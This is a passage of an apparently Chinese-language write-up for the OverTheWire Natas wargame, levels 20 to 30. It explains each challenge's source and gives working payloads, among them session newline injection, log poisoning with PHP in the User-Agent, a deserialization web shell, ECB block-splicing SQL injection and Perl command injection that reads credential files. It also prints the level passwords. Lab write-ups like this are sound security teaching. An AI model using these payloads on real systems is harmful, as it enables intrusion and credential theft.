print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
/* }}} */
/* we don't need this */
function myopen($path, $name) {
//debug("MYOPEN $path $name");
return true;
}
/* we don't need this */
function myclose() {
//debug("MYCLOSE");
return true;
}
function myread($sid) {
debug("MYREAD $sid");
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode();
}
function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
}
/* we don't need this */
function mydestroy($sid) {
//debug("MYDESTROY $sid");
return true;
}
/* we don't need this */
function mygarbage($t) {
//debug("MYGARBAGE $t");
return true;
}
session_set_save_handler(
"myopen",
"myclose",
"myread",
"mywrite",
"mydestroy",
"mygarbage");
session_start();
if(array_key_exists("name", $_REQUEST)) {
$_SESSION["name"] = $_REQUEST["name"];
debug("Name set to " . $_REQUEST["name"]);
}
print_credentials();
$name = "";
if(array_key_exists("name", $_SESSION)) {
$name = $_SESSION["name"];
}
?>
我们来看看每个函数的作用:
debug($msg)函数表示打开了调试信息,可以通过在URL的末尾添加 /index.php?debug来查看调试消息 $msg。
访问之后将看到一些提示信息:
function myread($sid) {
debug("MYREAD $sid");
//strspn(string,charlist):返回在字符串string中包含charlist中字符的数目
//判断sid是否是由数字/字母/-组成,如果不是,则无效
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
//session_save_path() - 返回当前会话的保存路径。
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
//使用换行符分割data数据
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
//使用空格符分割line数据,返回的数组包含2个元素,最后那个元素包含line的剩余部分
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
//session_encode — 将当前会话数据编码为一个字符串
return session_encode();
}
function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
//判断sid是否是由数字/字母/-组成,如果不是,则无效
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
//ksort — 对数组按照键名排序
ksort($_SESSION);
//foreach 遍历给定的数组。每次循环中,当前单元的键名被赋给$key、当前单元的值被赋给$value,并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。
foreach($_SESSION as $key => $value) {
debug("$key => $value");
//给data赋值
$data .= "$key $value\n";
}
//将data存在文件中
file_put_contents($filename, $data);
//改变文件模式:Read and write for owner, nothing for everybody else
chmod($filename, 0600);
}
简单来说,myread首先对sid(第一次由服务器自动生成并保存在cookie中)进行校验,若非字母/数字则不返回会话状态。
若sid合法,则进入相关目录寻找/读取文件,若是老的会话/文件已经删除会新建文件保存会话,文件读取完后将session的最后一对键值覆盖到第一的位置。
mywrite则会在会话结束的时候重新读取session,并对session进行一次ksort,将排序后的键值对重新写入文件。
print_credentials()函数的主要功能,是判断$_SESSION[“admin”] == 1后显示密码。
由于源码里面没有向SESSION里面添加admin的键值对,默认情况下,_SESSION中唯一的key是name,其值通过/index.php中的表单提交进行设置。
我们可以通过对name键值对进行注入:将data里面的值变为:name xxx\nadmin 1\n。所以应该输入xxx\nadmin 1,将其进行URL编码后进行提交。
换行符对应的URL编码为%0A,所以最终应该输入xxx%0Aadmin 1提交。
当然不能在网页中直接输入xxx%0Aadmin 1提交,因为会被编码成xxx%250Aadmin+1,失去了我们的本意。
正确的做法是,使用burp抓包,修改name参数值为xxx%0Aadmin 1,第一次会显示regular,因为没有文件/状态可以读取,session里还是没有Admin的,会话关闭后xxx\nadmin 1就会被写入到状态中,下次登录后session就会加入admin 1了。
得到key:IFekPyrQXftziDEsUr3x21sYuahypdgJ
Level 21-22(共用session,session注入)
Username: natas21
Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
URL:http://natas21.natas.labs.overthewire.org/
第一个网页:
第二个网页:
提示http://natas21.natas.labs.overthewire.org/页面和http://natas21-experimenter.natas.labs.overthewire.org页面同位,也就是共用服务器,session也是共用的。
查看第一个网页源码,发现主要功能就是判断session[admin]=1后显示密码。
<?
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas22\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
}
}
/* }}} */
session_start();
print_credentials();
?>
查看第二个网页源码,虽然在改变本页的时候进行了合法性检测,但是在将提交的参数加载到session中时,并没有对提交的参数进行审核。所以我们可以在参数中注入admin=1以将其保存在session中。
<?
session_start();
// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
foreach($_REQUEST as $key => $val) {
$_SESSION[$key] = $val;
}
}
if(array_key_exists("debug", $_GET)) {
print "[DEBUG] Session contents:<br>";
print_r($_SESSION);
}
// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";
$form .= '<form action="index.php" method="POST">';
foreach($validkeys as $key => $defval) {
$val = $defval;
if(array_key_exists($key, $_SESSION)) {
$val = $_SESSION[$key];
} else {
$_SESSION[$key] = $val;
}
$form .= "$key: <input name='$key' value='$val' /><br>";
}
$form .= '<input type="submit" name="submit" value="Update" />';
$form .= '</form>';
$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style='$style'>Hello world!</div>";
?>
直接在第二个页面提交数据,burp抓包截取,在post参数最后加上&admin=1。在返回的响应中我们可以看到,已经成功将admin=1注入到session中。
然后使用第二个网页的phpsessionid替换第一个网页的phpsessionid
成功得到flag:
chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
Level 22-23(header重定向,fiddler截获抓包)
Username: natas22
Password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
URL:http://natas22.natas.labs.overthewire.org/
打开页面是一个空白页面,查看源码,看起来好像是需要我们在url中添加“revelio”参数即可,然而实验了之后发现浏览器跳转回了原来的页面。
再次仔细审计源码,会看到页面开头有一个重定向。关键代码:
<?
session_start();
if(array_key_exists("revelio", $_GET)) {
// only admins can reveal the password
if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
header("Location: /");
}
}
?>
header(“Location: /”)中,header函数表示发送一个原始 Http Header到客户端,指定Location是进行重定向,/表示本地,即刷新。
如果get参数中包含revelio,则输出flag。
总结思路,先在get参数中添加revelio,满足获取密码的条件,但要避免刷新,使用fiddler打断点修改请求,这样可以避免第二次的跳转,在返回中看到了flag。
flag:D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
Level 23-24(PHP弱类型)
Username: natas23
Password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
URL:http://natas23.natas.labs.overthewire.org/
查看源码:
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas24 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111
?>
strstr()函数:检查后者是否为前者的子串。
上述代码要求提交的passwd参数中,既要包含字符iloveyou,且要其数值大于10。考察的就是php字符与数值比较时,会从开头截取数字,到字符前为止。所以构造passwd为11iloveyou即可。
得到flag:OsRmXFguozKpTZZ5X14zNO43379LZveg
Level 24-25(strcmp绕过漏洞)
Username: natas24
Password: OsRmXFguozKpTZZ5X14zNO43379LZveg
URL:http://natas24.natas.labs.overthewire.org/
查看源码:
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(!strcmp($_REQUEST["passwd"],"<censored>")){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas25 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111
?>
存在strcmp()函数,strcmp()函数的作用是比较两个字符串,相同则为0。由此自然想到了strcmp漏洞,strcmp函数无法比较数组,会返回0,将passwd输入为数组即可绕过。
Payload: [url]http://natas24.natas.labs.overthewire.org/?passwd[]=1
flag:GHF6X7YwACaYYssHVY05cFq83hRktl4c
扩展——strcmp漏洞
PHP strcmp(str1,str2) 函数:比较两个字符串(区分大小写)。
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等返回 0。
可知,期望传入的数据类型是字符串类型,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当接受到了不符合的类型,这个函数将发生错误。在php 5.2版本以及之前的版本中,利用strcmp函数将数组与字符串进行比较会返回-1,但是从5.3开始,会返回0!也就是虽然报了错,但却判定其相等了。这对于使用这个函数来做判断的代码来说简直是一个致命的漏洞。
Level 24-25(目录遍历,头部注入)
Username: natas25
Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c
URL:http://natas25.natas.labs.overthewire.org/
查看源码:
function setLanguage(){ //选择语言
/* language setup */
if(array_key_exists("lang",$_REQUEST)) //如果请求提交的参数中存在lang
if(safeinclude("language/" . $_REQUEST["lang"] )) //检查输入
return 1;
safeinclude("language/en");
}
function safeinclude($filename){ //检查输入参数
// check for directory traversal 检查目录遍历
//strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
//str_replace($search,$replace,$subject):将$subject中的$search 都被$replace替换
//下面代码的意思是,如果filename中含有"../",表明受到了目录遍历攻击,则将filename中的"../"替换为"",以防止目录遍历
if(strstr($filename,"../")){
logRequest("Directory traversal attempt! fixing request.");
$filename=str_replace("../","",$filename);
}
// dont let ppl steal our passwords 文件访问控制
//下面代码的意思是,如果filename中含有"natas_webpass",表明用户试图访问非法文件,则退出程序
if(strstr($filename,"natas_webpass")){
logRequest("Illegal file access detected! Aborting!");
exit(-1);
}
// add more checks...
if (file_exists($filename)) { //检测目录是否存在
include($filename);
return 1;
}
return 0;
}
function logRequest($message){ //请求日志
$log="[". date("d.m.Y H::i:s",time()) ."]"; //时间日期
$log=$log . " " . $_SERVER['HTTP_USER_AGENT']; //加http_user_agent
$log=$log . " \"" . $message ."\"\n"; //加上message
$fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
fwrite($fd,$log); //将日志信息写入文件
fclose($fd);
}
首先要将注入点分析清楚:一共有三个注入点
1、$_REQUEST["lang"] 即get/post注入
2、$_SERVER['HTTP_USER_AGENT'] http头部信息注入
3、session_id() cookie注入
2、3条注入存在于logRequest函数中,能够发生的前提是safeinclude函数检测到了非法输入,而且必须是“…/”这种非法输入,若是“natas_webpass”这种的话会直接exit(-1)。
这里第一条过滤非法输入语句(将"…/“替换为”",以防止目录遍历)存在漏洞,因为if是一次性把所有符合的替换掉,构造复合的参数即可绕过,例如:…//或者…/./。这里可以绕过的根本原因就在于没有使用while语句,没有想到过滤一次后依然存在…/,所以过滤应该持续检测直到非法字符不再出现。
第1条直接注入比较困难,原因在于即使用…/./绕过了第一条检测,第二条检测也很难直接将"natas_webpass"目录下的密码给include进来,所以应该思考利用第2或3条注入,2或3两个注入必须触发“…/”检测,随后logRequest($message)将信息写入/var/www/natas/natas25/logs/natas25_session_id().log。
很容易得到新思路,将能够显示密码的php语句写入到session_id().log之中,随后在safeinclude中将其include进来,可以考虑$_SERVER[‘HTTP_USER_AGENT’] 注入,在header中写入php语句(以下任选一句):
<?php include("/etc/natas_webpass/natas26")?> <?php echo file_get_contents("/etc/natas_webpass/natas26")?> <?php passthru("cat /etc/natas_webpass/natas26")?> <?php readfile("/etc/natas_webpass/natas26")?>这样做以后,只要触发第一条过滤机制,密码就会在.log被include进来时显示,考虑如何既触发…/又能够将.log包含进来:GET: lang=…/./…/./…/./…/./…/./var/www/natas/natas25/logs/natas25_session_id().log即可
流程:GET输入触发第一次过滤,开始记录日志,headers中http-agent的php执行语句被记录到/var/www/natas/natas25/logs/natas25_session_id().log。同时输入被过滤为…/…/…/…/…/var/www/natas/natas25/logs/natas25_session_id().log。file_exists()检测正确,将其include进来,触发php语句,显示flag。
有两个地方需要注入,即get/post 和 headers。
先访问日志文件
…/?lang=…//…//…//…//…//…//var/www/natas/natas25/logs/natas25_g883iae0lq4q9piv7a2e8c5ie0.log
再使用fiddler抓包,修改HTTP_USER_AGRENT为:<?php include("/etc/natas_webpass/natas26")?>,在返回的日志文件中得到key。
Key:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
Level 25-26(PHP反序化漏洞)
Username: natas26
Password: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
URL:http://natas26.natas.labs.overthewire.org/
查看源码:
<?php
class Logger{
private $logFile; //三个私有参数
private $initMsg;
private $exitMsg;
function __construct($file){ //类创建时调用
// initialise variables //初始化变量
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = "/tmp/natas26_" . $file . ".log";
// write initial message //写入初始信息
$fd=fopen($this->logFile,"a+");
fwrite($fd,$initMsg);
fclose($fd);
}
function log($msg){ //写入信息
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){ //类销毁时调用
// write exit message //写入退出信息
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
function showImage($filename){ //显示图片
if(file_exists($filename))
echo "<img src=\"$filename\">";
}
function drawImage($filename){ //画图
$img=imagecreatetruecolor(400,300);
drawFromUserdata($img);
imagepng($img,$filename);
imagedestroy($img);
}
function drawFromUserdata($img){
if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$_GET["x1"], $_GET["y1"],
$_GET["x2"], $_GET["y2"], $color);
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
if($drawing)
foreach($drawing as $object)
if( array_key_exists("x1", $object) &&
array_key_exists("y1", $object) &&
array_key_exists("x2", $object) &&
array_key_exists("y2", $object)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$object["x1"],$object["y1"],
$object["x2"] ,$object["y2"] ,$color);
}
}
}
function storeData(){
$new_object=array();
if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$new_object["x1"]=$_GET["x1"];
$new_object["y1"]=$_GET["y1"];
$new_object["x2"]=$_GET["x2"];
$new_object["y2"]=$_GET["y2"];
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"])); //反序列化
}
else{
// create new array
$drawing=array();
}
$drawing[]=$new_object;
setcookie("drawing",base64_encode(serialize($drawing))); //序列化
}
?>
查看源码,发现了php反序列化函数unserialize(),且可以通过cookie来控制unserialize()的变量,猜测存在php反序列化漏洞。
php序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中。使用serialize()函数。
php反序列化:将被压缩为字符串的复杂数据结构,重新恢复。使用unserialize() 函数。
php反序列化漏洞:php有许多魔术方法,如果代码中使用了反序列化 unserialize()函数,并且参数可控制,那么可以通过设定注入参数来完成想要实现的目的。
观察代码可以发现,在类销毁时调用的__destruct()魔术方法,可以向任意文件写入信息。
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
}
而且,可以通过cookie来写入序列化注入信息。
总结思路,通过cookie来注入信息,利用反序列化漏洞在能够访问的文件夹(img)下建立一个shell(aaa.php),写入php语句,然后访问该脚本,就能够进行任意语句执行/回显!
<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct(){ #注入信息
$this->initMsg="";
$this->exitMsg="<php include '/etc/natas_webpass/natas27';?>";
$this->logFile="img/aaa.php";
}
}
$test = new Logger();
echo serialize($test);
echo "\n";
echo base64_encode(serialize($test)); #显示base64编码后的序列化字符串
?>
本地执行,得到base64编码后的序列化字符串:
Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMToiaW1nL2FhYS5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czowOiIiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo0NjoiPD9waHAgaW5jbHVkZSgnL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTs/PiI7fQ==
fiddler抓包,把字符串覆盖到cookie[drawing]中,重新发送请求。
访问…/img/aaa.php即可得到key。
key:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
Level 27-28(mysql溢出截断漏洞)
Username: natas27
Password: 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
URL:http://natas27.natas.labs.overthewire.org/
查看源码
<?
// morla / 10111
// database gets cleared every 5 min
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
function checkCredentials($link,$usr,$pass){
$user=mysql_real_escape_string($usr);
$password=mysql_real_escape_string($pass);
$query = "SELECT username from users where username='$user' and password='$password' ";
$res = mysql_query($query, $link);
if(mysql_num_rows($res) > 0){
return True;
}
return False;
}
function validUser($link,$usr){
$user=mysql_real_escape_string($usr);
$query = "SELECT * from users where username='$user'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
return True;
}
}
return False;
}
function dumpData($link,$usr){
$user=mysql_real_escape_string($usr);
$query = "SELECT * from users where username='$user'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
// thanks to Gobo for reporting this bug!
//return print_r($row);
return print_r($row,true);
}
}
}
return False;
}
function createUser($link, $usr, $pass){
$user=mysql_real_escape_string($usr);
$password=mysql_real_escape_string($pass);
$query = "INSERT INTO users (username,password) values ('$user','$password')";
$res = mysql_query($query, $link);
if(mysql_affected_rows() > 0){
return True;
}
return False;
}
if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas27', '<censored>');
mysql_select_db('natas27', $link);
if(validUser($link,$_REQUEST["username"])) {
//user exists, check creds
if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
echo "Here is your data:<br>";
$data=dumpData($link,$_REQUEST["username"]);
print htmlentities($data);
}
else{
echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
}
}
else {
//user doesn't exist
if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
}
}
mysql_close($link);
} else {
?>
查看源码,本来想通过sql注入来获取密码,但是很难实现:
一是源码通过mysql-real-escape-string()函数对输入的用户名和密码中的特殊字符进行了转义,以防止sql注入;
二是想要绕过的话也很困难:$password使用’'括起来了,无法用like wildchar和number绕过。
(参见https://www.sqlinjection.net/advanced/php/mysql-real-escape-string/)
继续分析,总结流程如下:
Receive Input -> Check if user exist -> if exist check credentials -> show data.
Receive Input -> check if user exist -> if dosen’t -> create user.
即后台获取到用户输入的用户名/密码后,首先查询此用户名是否存在,如果存在,验证密码并显示数据;如果不存在,创建用户。
同时,验证用户名/密码是否正确也仅仅是看返回数组是否>0。
很容易联想到,如果我们插入一个和目标账户相同的行,即使我们不知道密码,checkCredentials()函数查找的结果数组也会>0并返回true,接着dumpData()函数就可能回显真正的用户与密码了。(注意这里只会回显一行,虽然dumpData()里面是个while循环,但里层直接return print_r($row,true)了)
插入数据需实现两点:
一是validUser()函数查找不到用户;
二是存储后的username要和目标username相同,密码自己定。
那么如何实现插入的用户名既和目标username相同,又使validUser()函数查找不到呢?
这里还要参考两个mysql里面的知识点 :
一是字符串存储时若发生“溢出”,mysql会自动truncate到最大宽度;
二是空格在varchar里面会被自动删除。
所以,正确的插入为“natas28+超过64字节的连续空格+xxx”(注意,后面的xxx是必须的,因为在mysql中’natas28’=‘natas28+空格’),密码随意,可以为空。
比较username时mysql并不会对提交的username进行truncate,所以判断用户名不存在,开始新建用户名和密码。一旦开始存储,就会发生溢出/截取,导致出现两个username同为‘natas28’的行。接着返回登录界面,输入natas28+密码。找寻操作会返回刚刚插入的数组(>0),所以查询成功,回显用户名和密码,这时回显的就是第一个nata28那行,即我们要获得的flag。
首先输入
用户名:natas28 xxx
密码:aaa
返回如下:
接着返回登录页面,重新输入
用户名:natas28
密码:aaa
返回如下:
flag:JWwR438wkgTsNKBbcJoowyysdM82YjeF
Level 28-29(ECB分组密码攻击)
Username: natas28
Password: JWwR438wkgTsNKBbcJoowyysdM82YjeF
URL:http://natas28.natas.labs.overthewire.org/
初步探索
burp抓包发现,流程是post表单提交一个明文后返回一个重定向,然后get请求一个加密参数返回查询结果。这个加密的参数一定以某种方式包含了我们的输入。
我们尝试修改get请求中query的值,返回报错信息:Invalid PKCS#7 padding encountered。说明此处的加密使用了PKCS7Padding填充模式。
将加密后的数据先URL解码再Base64解码,可以得到原始的加密字节。
方法一,使用burp的Decoder模块进行解码
方法二,使用PHP代码进行解码(缺点是得到的字节未经格式化,不易观察规律)
<?php
$x="G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPKOvt9wFI9mjTVoT%2FtGtl7FvfoQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D";
$y=bin2hex(base64_decode(urldecode($x)));
echo $y;
?>
//执行PHP代码,得到字符串:
//1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf28ebedf70148f668d35684ffb46b65ec5bdfa1054ec68515cf96f2a5544591947904f4b2abf2c2d7686aa72a53151c970
ECB模式
尝试几种不同的输入,可以注意到以下2点。
一是随着输入文本的不同,加密文本的前32个字节始终相同,不会改变。这意味着get的参数值始终以相同的文本开头。
二是更改输入的第一个字符(输入的长度不变)不会更改加密文本的结尾。这表明用于加密此文本的加密模式未使用链块密码,因此这意味着每个块都是独立的(ECB)。
更多观察
ECB模式是分组(块)加密模式,待加密文本被分为大小合适的块,然后分别对每一块独立进行加密或解密处理。当最后一块不足分块大小时,会根据某种模式进行填充。比如说本题使用的就是PKCS7Padding填充模式。目前我们知道了本题的加密方式是ECB,若想要破解它,接下来我们需要知道块大小(BlockSize)。可以通过依次多添加1个字符来观察到这一点。我们可以看到,当输入为10个及以上字符时,第三块16个字节便会停止更改,它将被锁定。因此,我们得出块大小为16个字节,需要10个字符来填充第三块。(这里的一个字符指的是一个英文字母,占1个字节)
暴力破解附加文本
再次观察密文发现,即使我们准确地传递了10个字符来填充第三块,此后仍然还有更多的块。这说明在我们输入的文本后面,还有一部分附加文本。下面我们来尝试破解后面的这些块,以解密附加文本。
如果我们提交的输入只有9个字符,则第三个块中的最后一个字符将包含附加文本的第一个字符!
假设我们提交了9个字母“a”,得到加密文本第三个块的值为X。然后,我们再尝试提交以9个字母“a”开头和随机最后1个字符的输入,得到第三个块的值,将其与X进行对比,则可以猜测出此字符。字符是%。
通常,我们能够扩展此过程并解密整个附加文本。但不幸的是,由于输入的某些特殊字符会被转义(比如’变成’),因此无法猜测附加文本中是否包含将被转义的字符。因此我们只能从此过程中解密该%字符。
深入探索
这个%字符表明后台可能对我们的输入文本进行了基于LIKE的模糊查询(%通配符表示任何字符出现任意次数)。猜测格式类似于:
select text from jokes where text like ‘%user_input%’;
我们的思路是构造sql注入,因为服务器端对post表单提交的数据进行了过滤,所有的引号在加密前都将被转义,因此我们不能简单地在输入框中通过输入引号来闭合前面sql的方法进行sql注入。
所以只能考虑get请求,由于get请求所提交的数据是post返回的完整的sql语句,意味着存在修改其他部分的可能。我们希望将它修改为
select text from jokes where text like ‘%user_input%’ union select password from users #
由于所有输入的引号都会被转义(‘变为’),所以我们无法直接得到引号的ECB加密,但是我们可以通过构造获得。
构造输入
首先输入【aaaaaaaaa’ union select password from users #############】,得到加密字节如下:
由于服务器端会先将输入的’转义为’,然后再进行ECB加密,所以上面加密字节中间部分加密的其实是【aaaaaaaaa’ union select password from users #############】,由于【aaaaaaaaa\】是10个字节,正好补齐了第3块,而【’ union select password from users #############】正好是48个字符,所以加密字节中的第4,5,6块正好是其加密后的值(设为A)。
接着输入【aaaaaaaaaa】(10个字节正好补齐第三块)得到加密字节(设为B)如下:
可以看到,上面两段加密字节的最后2块正好相同(均是附加文本的加密内容),这也表明我们构造的内容【’ union select password from users #############】确实是整组。
B的前三块的内容正好是【select text from jokes where text like ‘%aaaaaaaaaa】的加密文本,而刚才我们又得到了【’ union select password from users #############】的加密文本A。然后,我们把A插入到B的第三块和第四块之间,得到加密的字节(设为C)如下:
我们知道,C就是以【select text from jokes where text like ‘%aaaaaaaaaa’ union select password from users #############】开头的加密文本(后面附加文本代表什么无所谓,因为已经被注释掉了)。
现在让我们将其先进行base64编码,然后再URL编码,得到字符串:
<?php
$y="1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf2c0872dee8bc90b1156913b08a223a39ef89dd8dbec15c6a6d9993a3dc7b7a30886951754f7ad56454eb5d5b6768ee64650a4272280fe5b170eb9fc1bdbdde93d738a5ffb4a4500246775175ae596bbd6f34df339c69edce11f6650bbced62702";
$x=urlencode(base64_encode(hex2bin($y)));
echo $x;
?>
//执行PHP代码,得到字符串:
//G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oe%2BJ3Y2%2BwVxqbZmTo9x7ejCIaVF1T3rVZFTrXVtnaO5kZQpCcigP5bFw65%2FBvb3ek9c4pf%2B0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI%3D
将上面字符串带入get请求参数中,最终得到flag。
flag:airooCaiseiyee8he8xongien9euhe8b
参考:
https://www.cnblogs.com/zhengna/p/12348921.html
Level 29-30(perl命令注入、00过滤、绕过截断)
Username: natas29
Password: airooCaiseiyee8he8xongien9euhe8b
URL:http://natas29.natas.labs.overthewire.org/
登录后发现,可以看到一个下拉列表,选择不同的内容,会得到不同的大量文本的页面。
观察url部分:http://natas29.natas.labs.overthewire.org/index.pl?file=perl+underground
感觉是一个命令注入,尝试一下file=|ls %00,可以在页面底部看到文件列表,由此我们确定存在命令注入漏洞。
尝试注入命令直接获取natas30的密码,结果并没有显示出密码。
payload:http://natas29.natas.labs.overthewire.org/index.pl?file=|cat%20/etc/natas_webpass/natas30+%20%00
由于刚才返回的文件列表中有index.pl,我们可以尝试打开index.pl来查看源码。
payload:http://natas29.natas.labs.overthewire.org/index.pl?file=|cat+index.pl%00
我们看到,源码过滤了natas,导致显示meeeeeep!。我们可以将其绕过,从而得到flag。
payload:http://natas29.natas.labs.overthewire.org/index.pl?file=|cat+/etc/na%22%22tas_webpass/nat%22%22as30%00
这里绕过过滤的方式有多种,比如
双引号绕过:file=|cat+/etc/na%22%22tas_webpass/nat%22%22as30%00
单引号绕过:ffile=|cat+/etc/n%27%27atas_webpass/n%27%27atas30%00
反斜杠绕过:ffile=|cat+/etc/n\atas_webpass/n\atas30%00
等等
flag:wie9iexae0Daihohv8vuu3cei9wahf0e
总结:
1.在perl中“|”字符会将命令连接到脚本中。
2.URL中,空格可以用“+”或者“%20”表示,双引号(")可以用“%22”表示。
3.%00会被url解码成0x00,导致00截断。
4.00截断原理:截断漏洞出现的核心就是chr(0),这个字符不为空 (Null),也不是空字符 (“”),更不是空格。当程序在输出含有 chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致了漏洞产生。
5.perl中,open()函数可以执行shell命令。
6.在shell命令注入漏洞中,有多种方式可以绕过过滤,详看这里。
7.开发过程中,应尽量少用可以执行命令的函数,如果必须要用,一定要做好过滤。
Level 30-31(SQL注入)
Username: natas30
Password: wie9iexae0Daihohv8vuu3cei9wahf0e
URL:http://natas30.natas.labs.overthewire.org/
登录后,发现为登录页面:
查看源码:
if ('POST' eq request_method && param('username') && param('password')){
my $dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1});
my $query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password'));
my $sth = $dbh->prepare($query);
$sth->execute();
my $ver = $sth->fetch();
if ($ver){
print "win!<br>";
print "here is your result:<br>";
print @$ver;
}
else{
